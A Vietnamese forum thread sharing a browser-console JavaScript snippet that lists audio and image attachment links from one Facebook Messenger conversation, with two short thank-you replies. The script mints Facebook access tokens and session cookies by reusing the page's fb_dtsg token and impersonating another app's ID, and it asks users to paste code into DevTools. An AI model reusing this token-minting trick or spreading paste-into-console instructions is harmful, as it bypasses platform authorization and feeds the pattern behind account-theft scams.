Chào mừng!

Bằng cách đăng ký với chúng tôi, bạn sẽ có thể thảo luận, chia sẻ và nhắn tin riêng tư với các thành viên khác trong cộng đồng của chúng tôi.

Đăng ký ngay!
  • Diễn Đàn VuiCode tạm thời chuyển xang tên miền mới là DienDanIT.NET. Bạn hãy truy cập bằng tên miền mới nhé!

Share Script lọc lấy dữ liệu đính kèm tin nhắn Facebook.

Cua

VUTIENANH.COM
Thành viên BQT
Administrator
Thành Viên VIP
DienDanIT 2018
Tham gia
30/10/18
Bài viết
662
Lượt Thích
1,872
VNĐ
972
VNĐ
972
Chắc chắn ai nhắn tin với gấu, với ghệ, với bạn bè, abcxyz thì lúc nào cũng có mấy thứ như đoạn ghi âm, hình ảnh, blah blah. Có khi lâu nhắn rồi nó trôi mất mà kiếm lại thì nhác. Vậy Script nhỏ nhỏ này sẽ giúp các bạn làm điều trên :> :gay:

Cách sử dụng:
  • Coppy code phía dưới.
  • Sửa các giá trị:
participant: thay thành ID người muốn quét
mime_type: loại dữ liệu đính kèm (Cái này một mảng). VD ['audio/aac'] để lọc chỉ lấy tệp ghi âm. Còn ['audio/aac', 'image/jpeg'] để lọc lấy tệp ghi âm và tệp ảnh jpg. Cái này có thể tìm hiểu thêm về các loại mime_types trên Wiki

Sau đó copy cái đống đã sửa xong, mở tab Facebook trên Chrome, nhấn Ctrl+Shift+J và dán đống kia vào. Nhấn Enter và chờ nó chạy xong.
Code:
[HIDEREPLY]
Mã:
(() => {
   
/*
    Author:             @MonokaiJsp (MonokaiJs | https://omfg.vn)
    >>>>>>> Free for Personal Usage.
    ======= Donate me:  https://omfg.vn/donate
    ======= Github:     https://github.com
    ======= Gists
*/

    const participant = '';                    // Example: 100024036977223
    const conversations_count = 1;                // 1 recent person
    const mime_types = ['audio/aac', 'image/jpeg'];        // Mime Type Filter
   
    var get_list_conversations = (token) => {
        ajax('https://graph.facebook.com/me/threads?fields=link&limit='+conversations_count+'&access_token=' + token, (data) => {
            var found = false;
            var list_conversations = JSON.parse(data).data;
            for (conv_pos in list_conversations) {
                let conv = list_conversations[conv_pos];
                if (conv.link.includes(participant)) {
                    let url = 'https://graph.facebook.com/' + conv.id + '/messages?fields=attachments&access_token='+token;
                    var scan_data = url => {
                        ajax(url, (data) => {
                            let messages = JSON.parse(data).data;
                            messages.forEach((msg) => {
                                if (typeof msg.attachments !== 'undefined') {
                                    msg.attachments.data.forEach((attachment) => {
                                        if (mime_types.includes(attachment.mime_type)) {
                                            console.log('[' + msg.created_time + '] [' + attachment.mime_type + '] ' + ((typeof attachment.image_data === 'undefined')?attachment.file_url:attachment.image_data.url));
                                        }
                                    });
                                }
                            });
                            if (typeof JSON.parse(data).paging.next !== 'undefined') {
                                scan_data(JSON.parse(data).paging.next);
                            } else {
                                console.log('> Done!!!');
                            }
                        }, (e) => {
                            console.log('Failed to retrieve messages!');
                        });
                    }
                    scan_data(url);
                    found = true;
                    break;
                }
            }
            if (!found) {
                console.log('Can not find that conversation!');
            }
        }, (err) => {
            console.log('Failed to get list conversations [' + err + ']');
        });
    }
   
    var ajax = (url, succ_callback, fail_callback) => {
        var ajax_request = new XMLHttpRequest;
        ajax_request.onreadystatechange = () => {
            if (ajax_request.readyState == 4) {
                if (ajax_request.status == 200) {
                    succ_callback(ajax_request.responseText);
                } else {
                    fail_callback(ajax_request.status);
                }
            }
        }
        ajax_request.open('GET', url);
        ajax_request.send();
    }
   
    var get_token = (callback) => {
        var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
        var http = new XMLHttpRequest;
        var data = new FormData();
        data.append('fb_dtsg', fb_dtsg);
        data.append('app_id', '165907476854626');
        data.append('redirect_uri', 'fbconnect://success');
        data.append('display', 'popup');
        data.append('ref', 'Default');
        data.append('return_format', 'access_token');
        data.append('sso_device', 'ios');
        data.append('__CONFIRM__', '1');
        http.open('POST', 'https://www.facebook.com/v1.0/dialog/oauth/confirm');
        http.send(data);
        http.onreadystatechange = function(){
            if(http.readyState == 4 && http.status == 200){
                var http2 = new XMLHttpRequest;
                http2.open('GET', 'https://b-api.facebook.com/restserver.php?method=auth.getSessionForApp&format=json&access_token='+http.responseText.match(/access_token=(.*?)&/)[1]+'&new_app_id=6628568379&generate_session_cookies=1&__mref=message_bubble');
                http2.send();
                http2.onreadystatechange = function(){
                    if(http2.readyState == 4 && http2.status == 200){
                        var http3 = new XMLHttpRequest;
                        var token = JSON.parse(http2.responseText).access_token;
                        callback(token);
                    }
                }
            }
        }
    }
    get_token(get_list_conversations);
    // return false;
})();
[/HIDEREPLY]
Author: @MonokaiJsp (MonokaiJs | omfg.vn)
 

Duy Khang

Premium
Tham gia
13/11/18
Bài viết
373
Lượt Thích
52
VNĐ
1,107
VNĐ
1,107
tks :v
 
Tham gia
24/12/18
Bài viết
92
Lượt Thích
34
VNĐ
20
VNĐ
20
Tks ad :3

₫ỡ mỏi tay khi tìm lại tn r :v
 

Bài mới nhất

Top Bottom